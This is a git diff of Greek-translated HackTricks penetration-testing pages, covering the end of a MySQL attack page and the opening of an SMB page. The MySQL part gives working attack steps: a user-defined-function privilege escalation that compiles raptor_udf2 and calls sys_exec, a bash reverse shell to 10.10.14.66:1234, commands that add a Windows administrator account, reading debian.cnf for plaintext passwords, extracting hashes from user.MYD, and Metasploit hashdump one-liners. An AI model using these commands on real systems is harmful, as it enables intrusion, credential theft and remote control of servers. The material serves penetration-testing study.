**Αρχικό PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||||
**Σε αυτό το άρθρο μπορείτε να δείτε μια πλήρη περιγραφή της επίθεσης και ακόμα πώς να την επεκτείνετε σε RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
**Σε αυτό το άρθρο μπορείτε να δείτε μια πλήρη περιγραφή της επίθεσης και ακόμα πώς να την επεκτείνετε σε RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||||
**Εδώ μπορείτε να βρείτε μια επισκόπηση της επίθεσης:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
**Εδώ μπορείτε να βρείτε μια επισκόπηση της επίθεσης:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||||
|
@ -202,23 +220,25 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
|
||||||
### Χρήστης Mysql
|
### Χρήστης Mysql
|
||||||
|
|
||||||
Θα είναι πολύ ενδιαφέρον αν το mysql τρέχει ως **root**:
|
Θα είναι πολύ ενδιαφέρον αν το mysql τρέχει ως **root**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
||||||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Επικίνδυνες ρυθμίσεις του mysqld.cnf
|
#### Επικίνδυνες ρυθμίσεις του mysqld.cnf
|
||||||
|
|
||||||
Στη διαμόρφωση των υπηρεσιών MySQL, χρησιμοποιούνται διάφορες ρυθμίσεις για να καθοριστεί η λειτουργία και οι μέτρα ασφαλείας του:
|
Στη διαμόρφωση των υπηρεσιών MySQL, χρησιμοποιούνται διάφορες ρυθμίσεις για να καθοριστεί η λειτουργία και οι μέτρα ασφαλείας του:
|
||||||
|
|
||||||
- Η ρύθμιση **`user`** χρησιμοποιείται για τον καθορισμό του χρήστη κάτω από τον οποίο θα εκτελείται η υπηρεσία MySQL.
|
* Η ρύθμιση **`user`** χρησιμοποιείται για τον καθορισμό του χρήστη κάτω από τον οποίο θα εκτελείται η υπηρεσία MySQL.
|
||||||
- Το **`password`** εφαρμόζεται για τον καθορισμό του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL.
|
* Το **`password`** εφαρμόζεται για τον καθορισμό του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL.
|
||||||
- Το **`admin_address`** καθορίζει τη διεύθυνση IP που ακούει για συνδέσεις TCP/IP στη διαχειριστική διεπαφή δικτύου.
|
* Το **`admin_address`** καθορίζει τη διεύθυνση IP που ακούει για συνδέσεις TCP/IP στη διαχειριστική διεπαφή δικτύου.
|
||||||
- Η μεταβλητή **`debug`** υποδεικνύει τις τρέχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβανομένων ευαίσθητων πληροφοριών στα αρχεία καταγραφής.
|
* Η μεταβλητή **`debug`** υποδεικνύει τις τρέχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβανομένων ευαίσθητων πληροφοριών στα αρχεία καταγραφής.
|
||||||
- Το **`sql_warnings`** διαχειρίζεται εάν δημιουργούνται συμβολοσειρές πληροφοριών για δηλώσεις INSERT με μία γραμμή όταν εμφανίζονται προειδοποιήσεις, περιλαμβάνοντας ευαίσθητα δεδομένα στα αρχεία καταγραφής.
|
* Το **`sql_warnings`** διαχειρίζεται εάν δημιουργούνται συμβολοσειρές πληροφοριών για δηλώσεις INSERT με μία γραμμή όταν εμφανίζονται προειδοποιήσεις, περιλαμβάνοντας ευαίσθητα δεδομένα στα αρχεία καταγραφής.
|
||||||
- Με το **`secure_file_priv`**, ο περιορισμός των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για να ενισχυθεί η ασφάλεια.
|
* Με το **`secure_file_priv`**, ο περιορισμός των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για να ενισχυθεί η ασφάλεια.
|
||||||
|
|
||||||
|
|
||||||
### Ανέλεγκτη αύξηση προνομίων
|
### Ανέλεγκτη αύξηση προνομίων
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Get current user (an all users) privileges and hashes
|
# Get current user (an all users) privileges and hashes
|
||||||
use mysql;
|
use mysql;
|
||||||
|
@ -236,6 +256,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
||||||
\! sh
|
\! sh
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ανόδου Προνομίων μέσω βιβλιοθήκης
|
### Ανόδου Προνομίων μέσω βιβλιοθήκης
|
||||||
|
|
||||||
Εάν ο **διακομιστής mysql τρέχει ως root** (ή ως ένας διαφορετικός χρήστης με περισσότερα προνόμια), μπορείτε να τον καταστήσετε να εκτελεί εντολές. Για αυτό, χρειάζεστε να χρησιμοποιήσετε **ορισμένες συναρτήσεις που ορίζει ο χρήστης**. Και για να δημιουργήσετε μια ορισμένη από τον χρήστη, θα χρειαστείτε μια **βιβλιοθήκη** για το λειτουργικό σύστημα που εκτελεί το mysql.
|
Εάν ο **διακομιστής mysql τρέχει ως root** (ή ως ένας διαφορετικός χρήστης με περισσότερα προνόμια), μπορείτε να τον καταστήσετε να εκτελεί εντολές. Για αυτό, χρειάζεστε να χρησιμοποιήσετε **ορισμένες συναρτήσεις που ορίζει ο χρήστης**. Και για να δημιουργήσετε μια ορισμένη από τον χρήστη, θα χρειαστείτε μια **βιβλιοθήκη** για το λειτουργικό σύστημα που εκτελεί το mysql.
|
||||||
|
@ -243,13 +264,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||||
Η κακόβουλη βιβλιοθήκη που θα χρησιμοποιηθεί μπορεί να βρεθεί μέσα στο sqlmap και μέσα στο metasploit, κάνοντας **`locate "*lib_mysqludf_sys*"`**. Τα αρχεία **`.so`** είναι βιβλιοθήκες **linux** και τα αρχεία **`.dll`** είναι για τα **Windows**, επιλέξτε αυτό που χρειάζεστε.
|
Η κακόβουλη βιβλιοθήκη που θα χρησιμοποιηθεί μπορεί να βρεθεί μέσα στο sqlmap και μέσα στο metasploit, κάνοντας **`locate "*lib_mysqludf_sys*"`**. Τα αρχεία **`.so`** είναι βιβλιοθήκες **linux** και τα αρχεία **`.dll`** είναι για τα **Windows**, επιλέξτε αυτό που χρειάζεστε.
|
||||||
|
|
||||||
Εάν **δεν έχετε** αυτές τις βιβλιοθήκες, μπορείτε είτε να **ψάξετε για αυτές**, είτε να κατεβάσετε αυτόν τον [**κώδικα C για linux**](https://www.exploit-db.com/exploits/1518) και να τον **μεταγλωττίσετε μέσα στην ευάλωτη μηχανή linux**:
|
Εάν **δεν έχετε** αυτές τις βιβλιοθήκες, μπορείτε είτε να **ψάξετε για αυτές**, είτε να κατεβάσετε αυτόν τον [**κώδικα C για linux**](https://www.exploit-db.com/exploits/1518) και να τον **μεταγλωττίσετε μέσα στην ευάλωτη μηχανή linux**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
gcc -g -c raptor_udf2.c
|
gcc -g -c raptor_udf2.c
|
||||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||||
```
|
```
|
||||||
|
|
||||||
Τώρα που έχετε τη βιβλιοθήκη, συνδεθείτε στο Mysql ως προνομιούχος χρήστης (root;) και ακολουθήστε τα επόμενα βήματα:
|
Τώρα που έχετε τη βιβλιοθήκη, συνδεθείτε στο Mysql ως προνομιούχος χρήστης (root;) και ακολουθήστε τα επόμενα βήματα:
|
||||||
|
|
||||||
#### Linux
|
#### Linux
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
# Use a database
|
# Use a database
|
||||||
use mysql;
|
use mysql;
|
||||||
|
@ -269,35 +293,37 @@ create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
|
||||||
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
|
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
|
||||||
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
|
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Παράθυρα
|
#### Παράθυρα
|
||||||
|
|
||||||
##### Εντολή `mysql`
|
**Εντολή `mysql`**
|
||||||
|
|
||||||
Η εντολή `mysql` είναι ένα εργαλείο γραμμής εντολών που χρησιμοποιείται για τη σύνδεση και τη διαχείριση βάσεων δεδομένων MySQL. Μπορεί να χρησιμοποιηθεί για να εκτελέσει εντολές SQL, να δημιουργήσει και να διαχειριστεί βάσεις δεδομένων, καθώς και να πραγματοποιήσει αλλαγές στη δομή των πινάκων.
|
Η εντολή `mysql` είναι ένα εργαλείο γραμμής εντολών που χρησιμοποιείται για τη σύνδεση και τη διαχείριση βάσεων δεδομένων MySQL. Μπορεί να χρησιμοποιηθεί για να εκτελέσει εντολές SQL, να δημιουργήσει και να διαχειριστεί βάσεις δεδομένων, καθώς και να πραγματοποιήσει αλλαγές στη δομή των πινάκων.
|
||||||
|
|
||||||
##### Επίθεση SQL Injection
|
**Επίθεση SQL Injection**
|
||||||
|
|
||||||
Η επίθεση SQL Injection είναι μια ευρέως γνωστή επίθεση που εκμεταλλεύεται την αδυναμία επαρκούς επεξεργασίας εισόδου από τον εξυπηρετητή MySQL. Ο επιτιθέμενος εισάγει κακόβουλο κώδικα SQL σε μια είσοδο χρήστη, με σκοπό να εκτελέσει εντολές SQL που δεν έχουν εξουσιοδοτηθεί.
|
Η επίθεση SQL Injection είναι μια ευρέως γνωστή επίθεση που εκμεταλλεύεται την αδυναμία επαρκούς επεξεργασίας εισόδου από τον εξυπηρετητή MySQL. Ο επιτιθέμενος εισάγει κακόβουλο κώδικα SQL σε μια είσοδο χρήστη, με σκοπό να εκτελέσει εντολές SQL που δεν έχουν εξουσιοδοτηθεί.
|
||||||
|
|
||||||
##### Επίθεση Brute Force
|
**Επίθεση Brute Force**
|
||||||
|
|
||||||
Η επίθεση Brute Force είναι μια μέθοδος επίθεσης που βασίζεται στη δοκιμή όλων των πιθανών συνδυασμών κωδικών πρόσβασης μέχρι να βρεθεί ο σωστός. Στην περίπτωση του MySQL, η επίθεση Brute Force μπορεί να χρησιμοποιηθεί για να δοκιμάσει διάφορους κωδικούς πρόσβασης και να προσπαθήσει να συνδεθεί στον εξυπηρετητή MySQL.
|
Η επίθεση Brute Force είναι μια μέθοδος επίθεσης που βασίζεται στη δοκιμή όλων των πιθανών συνδυασμών κωδικών πρόσβασης μέχρι να βρεθεί ο σωστός. Στην περίπτωση του MySQL, η επίθεση Brute Force μπορεί να χρησιμοποιηθεί για να δοκιμάσει διάφορους κωδικούς πρόσβασης και να προσπαθήσει να συνδεθεί στον εξυπηρετητή MySQL.
|
||||||
|
|
||||||
##### Επίθεση Dictionary
|
**Επίθεση Dictionary**
|
||||||
|
|
||||||
Η επίθεση Dictionary είναι μια μέθοδος επίθεσης που βασίζεται στη δοκιμή μιας λίστας γνωστών κωδικών πρόσβασης. Στην περίπτωση του MySQL, η επίθεση Dictionary μπορεί να χρησιμοποιηθεί για να δοκιμάσει διάφορους κωδικούς πρόσβασης από μια λίστα και να προσπαθήσει να συνδεθεί στον εξυπηρετητή MySQL.
|
Η επίθεση Dictionary είναι μια μέθοδος επίθεσης που βασίζεται στη δοκιμή μιας λίστας γνωστών κωδικών πρόσβασης. Στην περίπτωση του MySQL, η επίθεση Dictionary μπορεί να χρησιμοποιηθεί για να δοκιμάσει διάφορους κωδικούς πρόσβασης από μια λίστα και να προσπαθήσει να συνδεθεί στον εξυπηρετητή MySQL.
|
||||||
|
|
||||||
##### Επίθεση Αποκάλυψης Πληροφοριών
|
**Επίθεση Αποκάλυψης Πληροφοριών**
|
||||||
|
|
||||||
Η επίθεση Αποκάλυψης Πληροφοριών είναι μια επίθεση που στοχεύει στην απόκτηση πληροφοριών για τον εξυπηρετητή MySQL και τις βάσεις δεδομένων που φιλοξενεί. Μπορεί να περιλαμβάνει την ανάκτηση ονομάτων πινάκων, στηλών και άλλων δομών δεδομένων, καθώς και την εξαγωγή περιεχομένου από τους πίνακες.
|
Η επίθεση Αποκάλυψης Πληροφοριών είναι μια επίθεση που στοχεύει στην απόκτηση πληροφοριών για τον εξυπηρετητή MySQL και τις βάσεις δεδομένων που φιλοξενεί. Μπορεί να περιλαμβάνει την ανάκτηση ονομάτων πινάκων, στηλών και άλλων δομών δεδομένων, καθώς και την εξαγωγή περιεχομένου από τους πίνακες.
|
||||||
|
|
||||||
##### Επίθεση Αποκάλυψης Εκδόσεων
|
**Επίθεση Αποκάλυψης Εκδόσεων**
|
||||||
|
|
||||||
Η επίθεση Αποκάλυψης Εκδόσεων είναι μια επίθεση που στοχεύει στην απόκτηση πληροφοριών σχετικά με την έκδοση του εξυπηρετητή MySQL που χρησιμοποιείται. Αυτές οι πληροφορίες μπορούν να χρησιμοποιηθούν για να εκμεταλλευτούν γνωστές ευπάθειες της συγκεκριμένης έκδοσης.
|
Η επίθεση Αποκάλυψης Εκδόσεων είναι μια επίθεση που στοχεύει στην απόκτηση πληροφοριών σχετικά με την έκδοση του εξυπηρετητή MySQL που χρησιμοποιείται. Αυτές οι πληροφορίες μπορούν να χρησιμοποιηθούν για να εκμεταλλευτούν γνωστές ευπάθειες της συγκεκριμένης έκδοσης.
|
||||||
|
|
||||||
##### Επίθεση Αποκάλυψης Χρηστών
|
**Επίθεση Αποκάλυψης Χρηστών**
|
||||||
|
|
||||||
Η επίθεση Αποκάλυψης Χρηστών είναι μια επίθεση που στοχεύει στην απόκτηση πληροφοριών σχετικά με τους χρήστες που έχουν πρόσβαση στον εξυπηρετητή MySQL. Αυτές οι πληροφορίες μπορούν να περιλαμβάνουν ονόματα χρηστών, δικαιώματα πρόσβασης και άλλες σχετικές πληροφορίες.
|
Η επίθεση Αποκάλυψης Χρηστών είναι μια επίθεση που στοχεύει στην απόκτηση πληροφοριών σχετικά με τους χρήστες που έχουν πρόσβαση στον εξυπηρετητή MySQL. Αυτές οι πληροφορίες μπορούν να περιλαμβάνουν ονόματα χρηστών, δικαιώματα πρόσβασης και άλλες σχετικές πληροφορίες.
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
# CHech the linux comments for more indications
|
# CHech the linux comments for more indications
|
||||||
USE mysql;
|
USE mysql;
|
||||||
|
@ -309,20 +335,25 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
||||||
SELECT sys_exec("net user npn npn12345678 /add");
|
SELECT sys_exec("net user npn npn12345678 /add");
|
||||||
SELECT sys_exec("net localgroup Administrators npn /add");
|
SELECT sys_exec("net localgroup Administrators npn /add");
|
||||||
```
|
```
|
||||||
|
|
||||||
### Εξαγωγή διαπιστευτηρίων MySQL από αρχεία
|
### Εξαγωγή διαπιστευτηρίων MySQL από αρχεία
|
||||||
|
|
||||||
Μέσα στο _/etc/mysql/debian.cnf_ μπορείτε να βρείτε το **κωδικό πρόσβασης σε απλό κείμενο** του χρήστη **debian-sys-maint**.
|
Μέσα στο _/etc/mysql/debian.cnf_ μπορείτε να βρείτε το **κωδικό πρόσβασης σε απλό κείμενο** του χρήστη **debian-sys-maint**.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat /etc/mysql/debian.cnf
|
cat /etc/mysql/debian.cnf
|
||||||
```
|
```
|
||||||
|
|
||||||
Μπορείτε **να χρησιμοποιήσετε αυτές τις πιστοποιήσεις για να συνδεθείτε στη βάση δεδομένων MySQL**.
|
Μπορείτε **να χρησιμοποιήσετε αυτές τις πιστοποιήσεις για να συνδεθείτε στη βάση δεδομένων MySQL**.
|
||||||
|
|
||||||
Μέσα στο αρχείο: _/var/lib/mysql/mysql/user.MYD_ μπορείτε να βρείτε **όλες τις κατακερματισμένες τιμές των χρηστών του MySQL** (αυτές που μπορείτε να εξάγετε από τον πίνακα mysql.user μέσα στη βάση δεδομένων).
|
Μέσα στο αρχείο: _/var/lib/mysql/mysql/user.MYD_ μπορείτε να βρείτε **όλες τις κατακερματισμένες τιμές των χρηστών του MySQL** (αυτές που μπορείτε να εξάγετε από τον πίνακα mysql.user μέσα στη βάση δεδομένων).
|
||||||
|
|
||||||
Μπορείτε να τις εξάγετε κάνοντας:
|
Μπορείτε να τις εξάγετε κάνοντας:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ενεργοποίηση καταγραφής
|
### Ενεργοποίηση καταγραφής
|
||||||
|
|
||||||
Μπορείτε να ενεργοποιήσετε την καταγραφή των ερωτημάτων mysql μέσα στο `/etc/mysql/my.cnf` αποσχολιάζοντας τις παρακάτω γραμμές:
|
Μπορείτε να ενεργοποιήσετε την καταγραφή των ερωτημάτων mysql μέσα στο `/etc/mysql/my.cnf` αποσχολιάζοντας τις παρακάτω γραμμές:
|
||||||
|
@ -355,8 +386,6 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
|
||||||
|
|
||||||
## Προεπιλεγμένη βάση δεδομένων/Πίνακες MySQL
|
## Προεπιλεγμένη βάση δεδομένων/Πίνακες MySQL
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="information_schema" %}
|
|
||||||
ALL\_PLUGINS\
|
ALL\_PLUGINS\
|
||||||
APPLICABLE\_ROLES\
|
APPLICABLE\_ROLES\
|
||||||
CHARACTER\_SETS\
|
CHARACTER\_SETS\
|
||||||
|
@ -435,9 +464,7 @@ INNODB\_TABLESPACES\_ENCRYPTION\
|
||||||
user\_variables\
|
user\_variables\
|
||||||
INNODB\_TABLESPACES\_SCRUBBING\
|
INNODB\_TABLESPACES\_SCRUBBING\
|
||||||
INNODB\_SYS\_SEMAPHORE\_WAITS
|
INNODB\_SYS\_SEMAPHORE\_WAITS
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="mysql" %}
|
|
||||||
columns\_priv\
|
columns\_priv\
|
||||||
column\_stats\
|
column\_stats\
|
||||||
db\
|
db\
|
||||||
|
@ -476,9 +503,7 @@ time\_zone\_transition\
|
||||||
time\_zone\_transition\_type\
|
time\_zone\_transition\_type\
|
||||||
transaction\_registry\
|
transaction\_registry\
|
||||||
user
|
user
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="performance_schema" %}
|
|
||||||
accounts\
|
accounts\
|
||||||
cond\_instances\
|
cond\_instances\
|
||||||
events\_stages\_current\
|
events\_stages\_current\
|
||||||
|
@ -566,13 +591,10 @@ threads\
|
||||||
user\_variables\_by\_thread\
|
user\_variables\_by\_thread\
|
||||||
users\
|
users\
|
||||||
variables\_by\_thread
|
variables\_by\_thread
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="sys" %}
|
|
||||||
host\_summary\
|
host\_summary\
|
||||||
host\_summary\_by\_file\_io\
|
host\_summary\_by\_file\_io\
|
||||||
host\_summary\_by\_file\_
|
host\_summary\_by\_file\_ schema\_table\_statistics\
|
||||||
schema\_table\_statistics\
|
|
||||||
schema\_table\_statistics\_with\_buffer\
|
schema\_table\_statistics\_with\_buffer\
|
||||||
schema\_tables\_with\_full\_table\_scans\
|
schema\_tables\_with\_full\_table\_scans\
|
||||||
schema\_unused\_indexes\
|
schema\_unused\_indexes\
|
||||||
|
@ -647,6 +669,7 @@ x$waits\_by\_user\_by\_latency\
|
||||||
x$waits\_global\_by\_latency
|
x$waits\_global\_by\_latency
|
||||||
|
|
||||||
## HackTricks Αυτόματες Εντολές
|
## HackTricks Αυτόματες Εντολές
|
||||||
|
|
||||||
```
|
```
|
||||||
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 3306 #Comma separated if there is more than one.
|
Port_Number: 3306 #Comma separated if there is more than one.
|
||||||
|
@ -677,6 +700,7 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή να προωθήσει την τεχνική γνώση**, αυτό το συνέδριο είναι ένας ζωντανός συναντήσεων χώρος για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.
|
[**RootedCON**](https://www.rootedcon.com/) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή να προωθήσει την τεχνική γνώση**, αυτό το συνέδριο είναι ένας ζωντανός συναντήσεων χώρος για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.
|
||||||
|
@ -692,7 +716,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
616
network-services-pentesting/pentesting-smb/README.md
Normal file
616
network-services-pentesting/pentesting-smb/README.md
Normal file
|
@ -0,0 +1,616 @@
|
||||||
|
# 139,445 - Pentesting SMB
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## **Θύρα 139**
|
||||||
|
|
||||||
|
Το _**Βασικό Σύστημα Εισόδου-Εξόδου Δικτύου**_\*\* (NetBIOS)\*\* είναι ένα πρωτόκολλο λογισμικού σχεδιασμένο για να επιτρέπει σε εφαρμογές, Η/Υ και επιφάνειες εργασίας εντός ενός τοπικού δικτύου (LAN) να αλληλεπιδρούν με το δικτυακό υλικό και **να διευκολύνουν τη μετάδοση δεδομένων στο δίκτυο**. Η ταυτοποίηση και η εντοπισμός εφαρμογών λογισμικού που λειτουργούν σε ένα δίκτυο NetBIOS επιτυγχάνονται μέσω των ονομάτων NetBIOS τους, τα οποία μπορεί να φτάσουν μέχρι 16 χαρακτήρες σε μήκος και συχνά διαφέρουν από το όνομα του υπολογιστή. Μια συνεδρία NetBIOS μεταξύ δύο εφαρμογών ξεκινά όταν μια εφαρμογή (λειτουργών ως πελάτης) εκδίδει μια εντολή για "κλήση" μιας άλλης εφαρμογής (λειτουργών ως διακομιστής) χρησιμοποιώντας τη **Θύρα TCP 139**.
|
||||||
|
|
||||||
|
```
|
||||||
|
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||||
|
```
|
||||||
|
|
||||||
|
## Θύρα 445
|
||||||
|
|
||||||
|
